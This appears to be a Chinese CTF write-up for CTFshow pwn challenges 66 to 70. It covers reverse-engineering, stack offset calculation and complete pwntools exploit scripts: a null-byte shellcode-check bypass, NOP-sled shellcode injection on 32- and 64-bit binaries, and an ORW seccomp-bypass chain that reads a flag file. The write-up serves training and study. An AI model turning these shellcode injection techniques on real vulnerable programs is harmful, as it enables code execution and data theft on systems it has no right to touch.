.rodata:0000000000400F2B                 db  68h ; h
.rodata:0000000000400F2C                 db  65h ; e
.rodata:0000000000400F2D                 db  6Ch ; l
.rodata:0000000000400F2E                 db  6Ch ; l
.rodata:0000000000400F2F                 db  5Fh ; _
.rodata:0000000000400F30                 db  63h ; c
.rodata:0000000000400F31                 db  6Fh ; o
.rodata:0000000000400F32                 db  64h ; d
.rodata:0000000000400F33                 db  65h ; e
.rodata:0000000000400F34                 db  2Ch ; ,
.rodata:0000000000400F35                 db  61h ; a
.rodata:0000000000400F36                 db  6Eh ; n
.rodata:0000000000400F37                 db  64h ; d
.rodata:0000000000400F38                 db  20h
.rodata:0000000000400F39                 db  68h ; h
.rodata:0000000000400F3A                 db  65h ; e
.rodata:0000000000400F3B                 db  72h ; r
.rodata:0000000000400F3C                 db  65h ; e
.rodata:0000000000400F3D                 db  20h
.rodata:0000000000400F3E                 db  69h ; i
.rodata:0000000000400F3F                 db  73h ; s
.rodata:0000000000400F40                 db  20h
.rodata:0000000000400F41                 db  61h ; a
.rodata:0000000000400F42                 db  20h
.rodata:0000000000400F43                 db  67h ; g
.rodata:0000000000400F44                 db  69h ; i
.rodata:0000000000400F45                 db  66h ; f
.rodata:0000000000400F46                 db  74h ; t
.rodata:0000000000400F47                 db  3Ah ; :
.rodata:0000000000400F48                 db  0Fh
.rodata:0000000000400F49                 db    5
.rodata:0000000000400F4A                 db  20h
.rodata:0000000000400F4B                 db  65h ; e
.rodata:0000000000400F4C                 db  6Eh ; n
.rodata:0000000000400F4D                 db  6Ah ; j
.rodata:0000000000400F4E                 db  6Fh ; o
.rodata:0000000000400F4F                 db  79h ; y
.rodata:0000000000400F50                 db  20h
.rodata:0000000000400F51                 db  69h ; i
.rodata:0000000000400F52                 db  74h ; t
.rodata:0000000000400F53                 db  21h ; !
.rodata:0000000000400F54                 db  0Ah
.rodata:0000000000400F55                 db    0

‘ZZJ loves shell_code,and here is a gift:’,0Fh,5,’ enjoy it!’,0Ah,0

那么只需要通过\x00绕过检查，同时执行我们输入的shellcode就好，\x00B后面加上一个字符，对应一个汇编语句。所以可以通过\x00B\x22、\x00B\x00 、\x00J\x00、\x00RZ、\x00\x42\x22、\x00\x4a\x00等等来绕过那个检查

这个题一种解法是利用可见字符写shellcode 另一种就是绕过它 while(*a),也就是一般写代码的路，遇到\x00就不校验了，所以如果shellcode以\x00开头，那是不是就解决了？先找一下汇编指以‘\x00’开头的：

from pwn import * #提供 p8()（将整数转换为单字节）和 disasm()（反汇编机器码）函数
from itertools import * #提供 product() 函数，用于生成所有可能的字节组合
import re #用于正则表达式匹配，过滤包含内存引用的指令

#[p8(k) for k in range(256)] 生成 0x00 到 0xFF 的所有单字节。
#product(..., repeat=i) 生成这些字节的所有排列组合（如 (0x00), (0x01), ..., (0xFF, 0xFF)）
#每个测试序列以 \x00 开头，后接 1~2 个任意字节
for i in range(1,3):
    for j in product([p8(k) for k in range(256)], repeat=i):
        payload=b"\x00" +b"".join(j)
        res=disasm(payload) #将机器码转换为汇编指令
        if(
        res != "\t\t..." #排除无法反汇编的空指令
        and not re.search(r"\[\w*?\]",res) #排除包含内存引用的指令
            and ".byte" not in res #排除非标准指令
        ):
            print(res)
            #input()

$ python3 exp.py
        ...
   0:   00 c0                   add    al, al
   0:   00 c1                   add    cl, al
   0:   00 c2                   add    dl, al
   0:   00 c3                   add    bl, al
   0:   00 c4                   add    ah, al
   0:   00 c5                   add    ch, al
   0:   00 c6                   add    dh, al
   0:   00 c7                   add    bh, al
   0:   00 c8                   add    al, cl
   0:   00 c9                   add    cl, cl
   0:   00 ca                   add    dl, cl
   0:   00 cb                   add    bl, cl
   0:   00 cc                   add    ah, cl
   0:   00 cd                   add    ch, cl
   0:   00 ce                   add    dh, cl
   0:   00 cf                   add    bh, cl
   0:   00 d0                   add    al, dl
   0:   00 d1                   add    cl, dl
   0:   00 d2                   add    dl, dl
   0:   00 d3                   add    bl, dl
   0:   00 d4                   add    ah, dl
   0:   00 d5                   add    ch, dl
   0:   00 d6                   add    dh, dl
   0:   00 d7                   add    bh, dl
   0:   00 d8                   add    al, bl
   0:   00 d9                   add    cl, bl
   0:   00 da                   add    dl, bl
   0:   00 db                   add    bl, bl
   0:   00 dc                   add    ah, bl
   0:   00 dd                   add    ch, bl
   0:   00 de                   add    dh, bl
   0:   00 df                   add    bh, bl
   0:   00 e0                   add    al, ah
   0:   00 e1                   add    cl, ah
   0:   00 e2                   add    dl, ah
   0:   00 e3                   add    bl, ah
   0:   00 e4                   add    ah, ah
   0:   00 e5                   add    ch, ah
   0:   00 e6                   add    dh, ah
   0:   00 e7                   add    bh, ah
   0:   00 e8                   add    al, ch
   0:   00 e9                   add    cl, ch
   0:   00 ea                   add    dl, ch
   0:   00 eb                   add    bl, ch
   0:   00 ec                   add    ah, ch
   0:   00 ed                   add    ch, ch
   0:   00 ee                   add    dh, ch
   0:   00 ef                   add    bh, ch
   0:   00 f0                   add    al, dh
   0:   00 f1                   add    cl, dh
   0:   00 f2                   add    dl, dh
   0:   00 f3                   add    bl, dh
   0:   00 f4                   add    ah, dh
   0:   00 f5                   add    ch, dh
   0:   00 f6                   add    dh, dh
   0:   00 f7                   add    bh, dh
   0:   00 f8                   add    al, bh
   0:   00 f9                   add    cl, bh
   0:   00 fa                   add    dl, bh
   0:   00 fb                   add    bl, bh
   0:   00 fc                   add    ah, bh
   0:   00 fd                   add    ch, bh
   0:   00 fe                   add    dh, bh
   0:   00 ff                   add    bh, bh
#省略，太多了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28128)
shellcode = b'\x00\xc0' + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 22221
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : Restricted shellcode !
    * *************************************
Your shellcode is :
$ ls
ctfshow_flag

pwn67（好难，艰难版）

Hint：32bit nop sled

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位关闭NX PIE 有可读可写可执行的段

因此我们可以从堆栈中执行。向程序提供 shellcode 很容易，因为它只要求输入。现在我们只需要找到一种方法来跳转到我们的 shellcode。

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int position; // eax
  void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
  unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF

  seed[1025] = (unsigned int)&argc;
  seed[1024] = __readgsdword(0x14u);
  setbuf(stdout, 0);
  logo();
  srand((unsigned int)seed);
  Loading();
  acquire_satellites();
  position = query_position();
  printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
  printf("What will you do?\n> ");
  fgets((char *)seed, 4096, stdin);//缓冲区的长度为 0x1000 字节（4096）
  printf("Where do you start?\n> ")
  //用户可输入任意内存地址，程序会直接调用该地址处的代码
  __isoc99_scanf("%p", &v5);
  v5();
  return 0;
}

query_position() 可以知道缓冲区在堆栈上的大致位置，

跟进query_position()：

char *query_position()
{
  char v1; // [esp+3h] [ebp-15h] BYREF
  int v2; // [esp+4h] [ebp-14h]
  char *v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v2 = rand() % 1337 - 668;
  v3 = &v1 + v2; // 计算 &v1 偏移 v2 字节后的地址
  return &v1 + v2; // 返回这个随机栈地址
}

v2 = rand() % 1337 - 668; ：这行代码使用 rand 函数生成一个随机数，并通过取模运算将其限制在范围 0 到 1336 之间。然后，从结果中减去 668，得到一个范围在-668 到 668 之间的随机整数，并将其存储在变量 v2 中。

低地址（栈底方向） 
+-------------------------+ <-- ebp-0x1010 (buffer 起始)
| buffer[0x1000]          |  大缓冲区，占 0x1000 字节
| ...                     |
| buffer[0]               |
+-------------------------+ <-- ebp-0x10 (padding 起始)
| padding [0x10]          | 填充区，占0x10 字节（对齐用）【就是个栈桢对齐规则，不懂】
+-------------------------+ <-- ebp+0x4 (返回地址)
| 返回地址（4字节）          |  call 指令自动压栈，函数返回时用
+-------------------------+ <-- ebp (旧 ebp)
| 旧 ebp（4字节）           |  保存上一层栈帧的 ebp，函数返回时恢复
+-------------------------+ <-- ebp-0x15 (局部变量区)
| stk [ebp-0x15]          |  局部变量区，占 0x15 字节（21字节）
| ...                     |
高地址（栈顶方向）

21 (0x15) + 4 + 4 + 16 (0x10) = 45 字节（0x2d）

#main函数从开始到执行到*query_position()函数的汇编代码
.text:0804894F                 push    ebp; 保存调用者的ebp
.text:08048950                 mov     ebp, esp; 设置新的ebp为当前esp
.text:08048952                 push    ebx
.text:08048953                 push    ecx
.text:08048954                 sub     esp, 1010h; 为局部变量分配0x1010字节空间
#此时栈顶ESP = EBP - 4 (ebx) - 4 (ecx) - 0x1010
...
.text:08048978                 sub     esp, 8; 为函数参数准备空间
.text:0804897B                 push    0     ; 第一个参数buf
.text:0804897D                 push    eax   ; 第二个参数stream
.text:0804897E                 call    _setbuf
.text:08048983                 add     esp, 10h ; 恢复栈指针
#这里的add esp, 10h操作是为了恢复栈指针。实际上，函数调用前 ESP 减少了 0x10 (8 字节 sub + 8 字节 push)，但函数返回后 ESP 增加了 0x10，这是因为 C 调用约定中，调用者负责清理栈参数.
#此时esp=ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010
...
.text:08048991                 sub     esp, 0Ch ; 为函数参数准备空间
.text:08048994                 push    eax      ; 第一个参数seed
.text:08048995                 call    _srand
.text:0804899A                 add     esp, 10h ; 恢复栈指针
#此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010
.text:0804899D                 call    Loading
.text:080489A2                 call    acquire_satellites
.text:080489A7                 call    query_position

高地址
+-------------------------+
│      main 函数栈帧        │
+-------------------------+  <-- main 的 EBP（新 EBP）    
|  保存的旧 EBP             |  4B (EBP)  
+-------------------------+                                                      
|    保存的 EBX            |  4B (EBP-4)                                       
+-------------------------+                                                   
|   保存的 ECX             |  4B (EBP-8)                                         
+-------------------------+                                                     
|    未使用空间             |    
|    ...                  |  0x1010 - 0x100C = 4B                             
+-------------------------+                                                      
│   seed 变量              |  4B (EBP-0x100C) <-- main 局部变量                
+-------------------------+                                                     
|    v5 变量               |  4B (ebp-0x1010) <-- main 局部变量  
+-------------------------+
|  未使用空间（0x10 相关）    |  #其实是add esp, 0x10 
|    ...                  |  
+-------------------------+  <-- ebp-0x1010-0x4-0x4
|调用query_position的返回地址|  4B (EBP-0x15 - 4 = EBP-0x19)         
+-------------------------+                
│   query_position 函数栈帧 |                                                   
+-------------------------+  <-- query_position 的 EBP                          
|   保存的 main 的 EBP      |  4B (EBP) 
+-------------------------+                                                 
|  query_position 局部变量  |                                                   
|  ...                    |  0x15 - 4 = 0x11B                          
+-------------------------+                                                     
|   v1 变量                |  4B (EBP-0x15) <-- query_position 局部变量     
+-------------------------+  <-- ESP（栈顶）
低地址
所以，可以看出来v1 到 seed 的偏移 = 0x15（v1 在 query_position 的偏移） 
                   + 0x4（query_position 保存的 main ebp） 
                   + 0x4（query_position 的返回地址） 
                   + 0x10（main 栈帧内的对齐/残留空间） 
                 = 0x2D

nop sled 空操作雪橇:

nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。

攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令（操作，仅使程序计数器加一）序列，

只要程序的控制流指向该序列任意一处，程序计数器逐步加一，直到到达攻击代码的存在的地址，并执行。

由于栈地址在一定范围的随机性，攻击者不能够知道攻击代码注入的地址，而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址（可通过缓冲区溢出的方式改写函数返回地址）。所以，只能在一定范围内（栈随机导致攻击代码地址一定范围内随机）枚举攻击代码位置（有依据的猜）。

不用 nop sled ， 函数返回地址 -------> 攻击代码。
使用 nop sled ， 函数返回地址 -------> nop 序列（顺序执行） 直到攻击代码地址。

为了安全地“绕过”不知道缓冲区的确切开始位置,我们可以：

将 shellcode 填充为以 1336 nop 条指令开头 ( 0x90 )
使用的返回值 query_position ，添加 0x2d （如前所述），然后添加 668。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
shellcode=asm(shellcraft.sh())
payload = b'\x90'*1336 + shellcode
io.recvuntil(b"The current location: 0x")
addr = u64(unhex(io.recvline(keepends=False).zfill(16)), endian='big')
#读取一行数据（keepends=False 去掉换行符），然后用 zfill(16) 补零到 16 个字符,unhex(...)：把十六进制字符串转成字节序列；u64(..., endian='big')：将字节序列按大端序转成 64 位整数[十六进制字符串已经是大端序了]
print ("Addr: " + hex(addr))
io.recvuntil(b"> ")
io.sendline(payload)
io.recvuntil(b"> ")
sh = addr + 668 + 0x2d;
print("Sending: " + hex(sh))
io.sendline(hex(sh).encode())
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 155
Addr: 0xff9924d2
Sending: 0xff99279b
[*] Switching to interactive mode
$ ls
ctfshow_flag

还看了这个师傅的CTFshow-pwn入门-栈溢出 (慢慢更_ctfshow pwn50-CSDN博客

unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF
char v1; // [esp+3h] [ebp-15h] BYREF //

gdb ./pwn
pwndbg> b *0x080489A7#断在query_position()的call指令处
pwndbg> info registers ebp
ebp            0xffa51578          0xffa51578
pwndbg> si# 执行push ebp，旧ebp被压入栈，esp减少4
# 此时EIP会指向0x80487d2（mov ebp, esp），ebp仍为0xffa51578
pwndbg> si
# 执行mov ebp, esp，更新ebp为当前esp的值（新ebp）
# 此时EIP指向0x80487d4（下一条指令）
   0x80487d1        push   ebp
 ► 0x80487d2      mov    ebp, esp  
 
EBP => 0xffa50558 —▸ 0xffa51578 ◂— 0
两个 ebp 相差 0x1020, 1020 = 4 + 4 + padding + 0x100C,padding = 0xC
所以 v1 到 seed 偏移量 = 0x15 + 4 + 4 + padding = 41

from pwn import *
context(arch='i386',os='linux',log_level = 'debug')
io = process('./pwn')
shellcode = asm(shellcraft.sh())
io.recvuntil(b"The current location: ")
v5_addr = eval(io.recvuntil(b"\n",drop=True))#eval() 把这个十六进制字符串转换成整数
padding = 12
v1_seed = 0x15+4+4+padding #0x29也可以（不知道怎么看的）
print(hex(v5_addr))

payload = flat([b"\x90"*1336,shellcode])//相加
sh_addr = hex(v5_addr+668+v1_seed)encode()

io.sendlineafter(b"What will you do?\n> ", payload) 
io.sendlineafter(b"Where do you start?\n> ", sh_addr)
io.interactive()

pwn68

Hint：64bit nop sled

分析结果同上，仅仅是32位与64位的区别。

char seed[4104]; // [rsp+10h] [rbp-1010h] BYREF
char v1; // [rsp+Bh] [rbp-15h] BYREF
ebp:0x7ffe53d64860->0x7ffe53d63830 
两个 ebp 相差 0x1030, 0x1030 = 8 + 8 + padding + 0x1010,padding = 0x10
所以 v1 到 seed 偏移量 = 0x15 + 8 + 8 + padding = 0x35

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
shellcode=asm(shellcraft.sh())
payload = b'\x90'*1336 + shellcode
io.recvuntil(b"The current location: 0x")
addr = u64(unhex(io.recvline(keepends=False).zfill(16)),endian='big')
#读取一行数据（keepends=False 去掉换行符），然后用 zfill(16) 补零到 16 个字符
print ("Addr: " + hex(addr))
io.recvuntil(b"> ")
io.sendline(payload)
io.recvuntil(b"> ")
sh = addr + 668 + 0x35;
print("Sending: " + hex(sh))
io.sendline(hex(sh).encode())
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 71
Addr: 0x7ffcb41930cc
Sending: 0x7ffcb419339d
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn69

Hint：可以尝试用ORW读flag flag文件位置为/ctfshow_flag

ORW指的是Open-Read-Write技术，是一种利用系统调用读取文件内容（如flag文件）的攻击方法。

ORW通过以下三个系统调用实现：

open：打开目标文件，获取文件描述符。

read：通过文件描述符读取文件内容到缓冲区。

write：将缓冲区的内容写入标准输出。

当攻击者通过漏洞控制程序执行流程后，可以注入或执行类似ORW的代码来读取敏感文件。例如，攻击者可以通过ROP（Return-Oriented Programming）或直接注入汇编代码来实现ORW。

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments

64位仅部分开启RELRO。其他保护全关

IDA查看main函数（依据函数功能修改对应函数名）：

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000u, 6, 34, -1, 0);
  seccomp();
  setvbuf();
  ctfshow();
  return 0;
}
/*mmap()函数的主要用途有三个：
1、将一个普通文件映射到内存中，通常在需要对文件进行频繁读写时使用，这样用内存读写取代I/O读
写，以获得较高的性能；
2、将特殊文件进行匿名内存映射，可以为关联进程提供共享内存空间；
3、为无关联的进程提供共享内存空间，一般也是将一个普通文件映射到内存中。*/

把从0x123000开始的地址，大小为0x1000的长度，权限改为可写可执行

跟进seccomp()：

Seccomp（Secure Computing Mode）是 Linux 内核中的一种安全机制，用于限制进程可以调用的系统调用（Syscalls），从而减少潜在的攻击面。

沙盒环境：Seccomp 常用于沙盒环境中，限制程序的权限，防止恶意程序通过高风险系统调用攻击系统。

__int64 seccomp()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0);
  seccomp_rule_add(v1, 2147418112, 0, 0); //初始化 seccomp 上下文
  seccomp_rule_add(v1, 2147418112, 1, 0);
  seccomp_rule_add(v1, 2147418112, 2, 0);
  seccomp_rule_add(v1, 2147418112, 60, 0);
  return seccomp_load(v1);
}
/*2147418112表示 “允许执行该系统调用”；第三个参数（如0、1、2、60）：系统调用号（syscall number）对应read，write，open，exit；最后一个参数0：表示 “不检查系统调用的参数”（允许该系统调用的任何参数）*/

沙盒过滤，seccomp-tools 是一个用于分析和调试 Seccomp 策略的工具集，它可以帮助你检查程序是否启用了 Seccomp 以及其具体的 Seccomp 配置。通过运行 seccomp-tools dump ./pwn，你可以查看目标程序 ./pwn 的 Seccomp 策略。

$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

只有read，write，open，exit可以使用，使用 open–>read–>write 这样的orw的方式

跟进漏洞函数：

int ctfshow()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Now you can use ORW to do");
  read(0, buf, 0x38u);
  return puts("No you don't understand I say!");
}

明显的溢出漏洞那么思路就是先写入orw类型的shellcode，然后跳转去执行，buf的大小只有0x20，感觉不够我们写全rop攻击链，程序一开始的时候给我们开辟了0x100可执行的空间，打算在这边写shellcode，然后用buf的溢出跳转过来执行我们的shellcode。

写orw的shellcode：

orw_shellcode = shellcraft.open("/ctfshow_flag") # 打开根目录下的ctfshow_flag文件
orw_shellcode += shellcraft.read(3,mmap,100) # 读取文件标识符是3的文件0x100个字节存放到mmap分配的地址空间里[0代表stdin，1代表stdout，2代表标准错误输出。其他文件就是从3开始了。]
orw_shellcode += shellcraft.write(1,mmap,100) # 将mmap地址上的内容输出0x100个字节
shellcode = asm(orw_shellcode)
#read里的fd写3是因为程序执行的时候文件描述符是从3开始的，write里的1是标准输出到显示器

然后buf里面的rop攻击链：

buf里面的rop攻击链是要往mmap里写入orw_shellcode,让程序跳转到mmap去执行orw_shellcode

payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
#从标准输入（文件描述符 0）读取最多 0x100 字节的内容到 mmap_ar 指向的内存区域。
#将 rax 寄存器设置为 0x123000，然后跳转到该地址。这里的 0x123000 是 mmap_ar 的地址，用于跳转到攻击者控制的内存区域。

这样buf里的rop就达到了我们想要的目的，下面就要想办法让buf里的内容被执行，发现该程序有jmp rsp

$ ROPgadget --binary pwn  | grep jmp
0x0000000000400a01 : jmp rsp

其实就是这个后门函数

void sub_4009EE()
{
  __asm { jmp     rsp }
}

**rsp是栈顶指针寄存器，jmp rsp的作用是返回到栈顶，由于调用时是一个新的函数，所以开辟了新的栈，所以jmp rsp实际上是返回这条指令位置+8处。**那意味着我们可以通过这条指令跳转到当前栈顶处然后执行我们布置在栈上shellcode从而实现ORW。

利用它可以跳转到buf去执行，buf地址是rsp-0x30[buf的起始地址到 “返回地址” 的偏移:(rbp + 8) - (rbp - 0x20) = 0x28(+8是旧rbp的长度),再写入8字节的jmp rsp地址（因为返回地址占 8 字节）]

所以buf中完整的rop攻击链：

jmp_rsp = 0x400a01
payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
# buf里的rop是往mmap里读入0x100长度的数据，跳转到mmap的地址执行
payload = payload.ljust(0x28,'a')
# buf的大小是0x20，加上rbp 0x8是0x28，用'\x00'去填充剩下的位置
payload += p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp") # 返回地址写上跳转到rsp
#asm("sub rsp,0x30; jmp rsp"):调整栈指针（rsp）的位置，使其指向栈上的有效代码
#sub rsp, 0x30：将栈指针rsp减去0x30（48 字节）。由于栈是向下增长的（地址从高到低），这会让rsp指向更靠前的栈内存（地址更小的位置）。
io.recvuntil('do')
io.sendline(payload)

将buf中的rop链发送后，再传入orw_shellcode就能读出flag了

from pwn import *
context.terminal = ['tmux', 'new-window']
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = process('./pwn')
mmap = 0x123000
jmp_rsp = 0x400a01
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
shellcode = asm(orw_shellcode)
payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')
payload += p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
io.recvuntil(b'do')
io.sendline(payload)
#pause()
io.sendline(shellcode)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 288
[*] Switching to interactive mode

No you don't understand I say!
flag{just_test_my_process}
/ctfshowPH\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01\x0f\x05j\x01_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01j\x01X\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00

pwn70

Hint：可以开始你的个人秀了 flag文件位置为/flag

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      Canary found
  NX:         NX disabled
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

64位程序部分开启RELRO，开启栈保护
告诉了我们flag文件位置，hint中还是让我们用ORW读flag，* Hint : Try use ‘ORW’ to get flag

查看沙箱的情况：

$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

1.程序只允许在 x86_64 架构下运行。

2.系统调用必须小于 0x40000000，否则拒绝执行。

3.特别地，如果系统调用是 execve（编号为 0x3b），则直接拒绝（KILL）。

需要注入shellcode来做，虽然有canary但是NX没开，栈还是能执行的。

ida 无法反汇编main：

.text:0000000000400A68 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400A68
.text:0000000000400A68 var_80          = qword ptr -80h
.text:0000000000400A68 var_74          = dword ptr -74h
.text:0000000000400A68 s               = byte ptr -70h
.text:0000000000400A68 var_8           = qword ptr -8
.text:0000000000400A68
.text:0000000000400A68 ; __unwind {
.text:0000000000400A68                 push    rbp
.text:0000000000400A69                 mov     rbp, rsp
.text:0000000000400A6C                 add     rsp, 0FFFFFFFFFFFFFF80h  ; ; 等价于 sub rsp, 0x80，在栈上分配 0x80 字节空间
.text:0000000000400A70                 mov     [rbp+var_74], edi
.text:0000000000400A73                 mov     [rbp+var_80], rsi
.text:0000000000400A77                 mov     rax, fs:28h  ; 读取 fs 段的栈保护值（canary，用于检测栈溢出）
.text:0000000000400A80                 mov     [rbp+var_8], rax  ; 保存 canary 到栈上
.text:0000000000400A84                 xor     eax, eax  ; 初始化 eax 为 0
.text:0000000000400A86                 mov     eax, 0
.text:0000000000400A8B                 call    init
.text:0000000000400A90                 mov     eax, 0
.text:0000000000400A95                 call    set_secommp   #沙箱
.text:0000000000400A9A                 lea     rax, [rbp+s]   ; 获取栈上缓冲区 s 的地址（s 是 byte ptr -70h）
.text:0000000000400A9E                 mov     esi, 68h ; 'h'  ; n
.text:0000000000400AA3                 mov     rdi, rax        ; s
.text:0000000000400AA6                 call    _bzero  ; 清零 s 缓冲区的前 104 字节（防止残留数据干扰）
.text:0000000000400AAB                 mov     eax, 0
.text:0000000000400AB0                 call    logo
.text:0000000000400AB5                 lea     rdi, aWelcomeTellMeY ; "Welcome,tell me your name:"
.text:0000000000400ABC                 call    _puts
.text:0000000000400AC1                 lea     rax, [rbp+s]  ; s 的地址
.text:0000000000400AC5                 mov     edx, 64h ; 'd'  ; nbytes
.text:0000000000400ACA                 mov     rsi, rax        ; buf=s
.text:0000000000400ACD                 mov     edi, 0          ; fd（标准输入）
.text:0000000000400AD2                 mov     eax, 0
.text:0000000000400AD7                 call    _read
.text:0000000000400ADC                 sub     eax, 1  ;去掉末尾换行符 '\n'
.text:0000000000400ADF                 cdqe  ; 将 eax 扩展为 64 位（rax）
.text:0000000000400AE1                 mov     [rbp+rax+s], 0  ; 在原换行符位置放 '\0'，确保字符串结束
#读取用户输入（最多 100 字节），并通过截断换行符的方式，将输入转换为标准 C 字符串（以 \0 结尾）。
.text:0000000000400AE6                 lea     rax, [rbp+s]
.text:0000000000400AEA                 mov     rdi, rax
.text:0000000000400AED                 call    is_printable  ; 调用 is_printable 检查输入是否合法
.text:0000000000400AF2                 test    eax, eax  ; 检查返回值（0 表示非法，非 0 表示合法）
.text:0000000000400AF4                 jz      short loc_400AFE  ; 若非法，跳转到错误处理
.text:0000000000400AF6                 lea     rax, [rbp+s]  ; 若合法，获取 s 的地址
.text:0000000000400AFA                 call    rax  ; 关键：将输入的字符串作为函数地址调用！
.text:0000000000400AFC                 jmp     short loc_400B0A  ; 跳过错误处理
#若输入通过 is_printable 检查，则将输入的字符串内容当作函数指针直接调用。这是极高风险的操作 —— 如果输入的字符串恰好是某个有效函数的地址，且地址的每个字节都是可打印字符，就会执行该函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char s[0x70]; // [sp-70h] [bp-70h]@1（栈上缓冲区，大小0x70字节）
    __int64 canary; // [sp-8h] [bp-8h]@1（栈保护canary）
    ssize_t nread; // 临时变量，保存read返回值

    // 保存 argc 和 argv 到栈上
    *(int*)&argv[-1] = argc; // 对应 [rbp+var_74] = edi（edi是argc）
    *(const char***)&argv[-2] = argv; // 对应 [rbp+var_80] = rsi（rsi是argv）

    // 设置栈保护canary（编译器自动添加的栈溢出检测）
    canary = *(__int64*)(__readfsqword(0x28) + 0x28); // 对应 fs:28h

    // 初始化操作
    init(); // 调用初始化函数
    set_secommp(); // 调用沙箱配置函数

    // 清零缓冲区s（前0x68字节）
    bzero(s, 0x68u); // 对应 _bzero(s, 0x68)

    // 打印程序标志和欢迎信息
    logo(); // 调用logo函数
    puts("Welcome,tell me your name:"); // 输出输入提示

    // 读取用户输入（最多0x64字节）
    nread = read(0, s, 0x64u); // 从标准输入(fd=0)读取数据到s

    // 去除输入末尾的换行符（将'\n'替换为'\0'）
    if (nread > 0)
    {
        s[nread - 1] = 0; // 对应 [rbp + (nread-1) + s] = 0
    }

    // 检查输入是否全为可打印字符
    if (is_printable(s) != 0)
    {
        // 若合法，将输入字符串作为函数指针调用
        ((void (*)())s)(); // 对应 call rax（rax是s的地址）
    }

    // 函数退出（省略栈保护检查和栈帧恢复逻辑）
    return 0;
}

is_printable:

.text:00000000004008EA is_printable    proc near               ; CODE XREF: main+85↓p
.text:00000000004008EA
.text:00000000004008EA s               = qword ptr -28h
.text:00000000004008EA var_14          = dword ptr -14h
.text:00000000004008EA
.text:00000000004008EA ; __unwind {
.text:00000000004008EA                 push    rbp
